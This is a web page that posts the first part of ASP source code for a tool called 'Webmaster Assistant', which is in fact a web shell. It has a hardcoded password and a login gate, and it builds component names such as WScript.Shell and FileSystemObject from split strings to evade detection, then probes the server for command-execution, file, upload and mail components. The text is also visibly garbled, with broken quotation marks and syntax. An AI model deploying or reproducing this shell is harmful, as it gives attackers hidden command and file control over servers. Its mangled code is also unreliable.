ASP Webmaster Assistant Source code

Source code | webmaster | source code | Webmaster <%
server.scripttimeout=50000
Response.Buffer = True
On Error Resume Next
ApplicationName = "Webmaster Assistant 6 Enhanced Edition"
Userpass = "123456" ' Login password
url = request.servervariables ("url")
ServerIP = Request.ServerVariables ("local_addr")
Action = Request ("action")
RootPath = Server.MapPath (".")
WWWRoot = Server.MapPath ("/")
FolderPath = Request ("FolderPath")
FName = Request ("FName")
Backurl = "<meta http-equiv= ' Refresh ' content= ' 2; Url=? Action=showfile ' > '

If session ("WebAdmin") <>userpass Then
If Request.Form ("pass") <> "Then
If Request.Form ("pass") =userpass Then
Session ("WebAdmin") =userpass
Response.Redirect URL
Else
Response.Write "Validation failed! "
End If
Else
si= "<center style= ' font-size:12px ' ><br><br> Welcome to use ASP Webmaster Assistant <br><br>"
si=si& "<form action= '" &URL& "' method= ' post ' >"
si=si& "Password: <input name= ' pass ' type= ' password ' size= '" > "
si=si& "<input type= ' submit ' value= ' login ' ></form></center>"
Response.Write SI
End If
Response.End
End If

Sub Showerr ()
If ERR Then
Response.Write "<br><a href= ' javascript:history.back () ' ><br>" & Err.Description & "</a ><br> "
Err.Clear:Response.Flush
End If
End Sub


Dim ObT (13,2)
ObT (0,0) = "Sc" &DEfd& "RIP" &DEfd& "ting" &DEfd&. F "&DEfd&" Iles "&DEfd&" Yste "&DEfd&" mobj "&DEfd&" ect "
ObT (0,2) = "File Operation component"
ObT (1,0) = "W" &DEfd& "SC" &DEfd& "ri" &DEfd& "Pt.s" &DEfd& "he" &DEfd& "ll"
ObT (1,2) = "Command line execution component"
ObT (2,0) = "ADOX." Catalog "
ObT (2,2) = "Access Build library component"
ObT (3,0) = "JRO." JetEngine "
ObT (3,2) = "Access Compression component"
ObT (4,0) = "Scrip" &DEfd& "ting" &DEfd&. D "&DEfd&" Icti "&DEfd&" Onary "
ObT (4,2) = "Data Flow upload auxiliary component"
ObT (5,0) = "Adodb.connection"
ObT (5,2) = "Database Connection component"
ObT (6,0) = "Ado" &DEfd& "D" &DEfd& "B" &DEfd&. S "&DEfd&" tre "&DEfd&" AM "
ObT (6,2) = "Data Flow Upload Component"
ObT (7,0) = "Softartisans.fileup"
ObT (7,2) = "Sa-fileup File Upload Component"
ObT (8,0) = "Lyfupload.uploadfile"
ObT (8,2) = "U s dollars File Upload component"
ObT (9,0) = "Persits.upload.1"
ObT (9,2) = "AspUpload File Upload Component"
ObT (10,0) = "Jmail.smtpmail"
ObT (10,2) = "JMail Mail transceiver Component"
ObT (11,0) = "CDONTS." NewMail "
ObT (11,2) = "Virtual SMTP Sender Component"
ObT (12,0) = "SMTPMAIL.SMTPMAIL.1"
ObT (12,2) = "SmtpMail Letter Component"
ObT (13,0) = "Microsoft.XMLHTTP"
ObT (13,2) = "Data Transfer component"

For I=0 to 13
Set T=server.createobject (ObT (i,0))
If-2147221005 <> ERR Then
Isobj=true
Else
Isobj=false
Err.Clear
End If
Set t=nothing
ObT (i,1) =isobj
Next


Function Repath (S)
Repath=replace (S, "\", "\ \")
End Function

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] Next page >>